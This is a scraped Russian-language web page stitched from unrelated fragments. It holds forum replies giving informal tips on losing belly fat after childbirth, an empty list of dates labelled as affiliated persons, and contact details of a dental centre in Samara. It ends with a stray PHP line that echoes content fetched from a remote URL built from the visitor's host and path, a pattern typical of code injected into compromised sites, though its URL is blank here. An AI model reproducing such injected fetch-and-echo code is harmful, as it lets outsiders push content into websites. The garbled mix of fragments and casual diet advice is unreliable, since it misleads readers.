Один раз все же лучше, чем вообще не следить за собой)
Но как вариант еще можно дома зарядочку делать, как сказано выше - еще пресс подкачать! И будет эффект, я уверена!))) )
Удачи)

Нужна помощь опытных женщин и девушек!

А вопрос где, чем помоч

Как убрать живот после родов. Во время беременности отложение жира на животе имеет глубокий смысл.Как убрать живот после родов с помощью упражнений также может рассказатьЕсли женщина лежит на левом боку, то надо немного закрутить корпус вправо.

Ню и

Пусть займется бодифлексом можно есть все но понемножку посли 19кефир. Зантматся по утрам на голодный желудок .

Бодифлекс и система минус 60!

Быстро худеть вредно для здоровья!
надо худеть медленно ну 1-2 кг в МЕСЯЦ!
лучше все заниматься спортом и не есть после 6:00))

Убрать жир с живота и боков упражнения посль роды
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта